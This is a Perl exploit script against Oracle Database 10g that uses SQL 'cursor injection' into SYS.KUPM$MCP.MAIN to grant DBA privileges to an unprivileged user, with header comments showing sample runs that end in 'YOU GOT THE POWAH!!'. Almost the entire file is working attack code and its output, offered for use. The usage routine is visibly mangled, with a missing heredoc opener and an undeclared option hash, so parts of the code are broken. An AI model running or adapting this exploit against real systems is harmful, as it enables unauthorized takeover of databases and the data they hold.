#!/usr/bin/perl
#
# Remote Oracle KUPM$MCP.MAIN exploit (10g)
# - Version 2 - New \"evil cursor injection\" tip!
# - No \"create procedure\" privilege needed!
# - See: [url]http://www.databasesecurity.com/[/url] (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on \"Oracle Database 10g Enterprise Edition Release 10.1.0.3.0\"
#
# REF: [url]http://www.red-database-security.com/[/url]
#
# AUTHOR: Andrea \"bunker\" Purificato
# [url]http://rawlab.mindcreations.com[/url]
#
# DATE: Copyright 2007 - Tue Mar 27 10:46:55 CEST 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement \"REVOKE DBA FROM BUNKER\"] at kupm-mcpmainV2.pl line 104.
# [-] Done!
#
# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [-] Creating evil cursor...
# Cursor: 2
# [-] Go ...(don't worry about errors)!
# DBD::Oracle::st execute failed: ORA-06512: at \"SYS.KUPM$MCP\", line 874
# ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement \"
# BEGIN
# SYS.KUPM$MCP.MAIN(''' AND 0=dbms_sql.execute(2)--','');
# END;
# \"] at kupm-mcpmainV2.pl line 134.
# [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#
use warnings;
use strict;
use DBI;
use Getopt::Std;
sub usage {
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = \"GRANT ALL PRIVILEGE, DBA TO $user\";
print \"[-] Wait...\n\";
$dbh->func( 1000000, 'dbms_output_enable' );
if ($opt{r}) {
print \"[-] Revoking DBA from $user...\n\";
$sqlcmd = \"REVOKE DBA FROM $user\";
$dbh->do( $sqlcmd );
print \"[-] Done!\n\";
$dbh->disconnect;
exit;
}
print \"[-] Creating evil cursor...\n\";
my $sth = $dbh->prepare(qq{
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
END;
} );
$sth->execute;
my $cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print \"$line\n\";
if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
}
$sth->finish;
print \"[-] Go ...(don't worry about errors)!\n\";
$sth = $dbh->prepare(qq{
BEGIN
SYS.KUPM\$MCP.MAIN(''' AND 0=dbms_sql.execute($cursor)--','');
END;
});
$sth->execute;
$sth->finish;
print \"[-] YOU GOT THE POWAH!!\n\";
$dbh->disconnect;
exit;
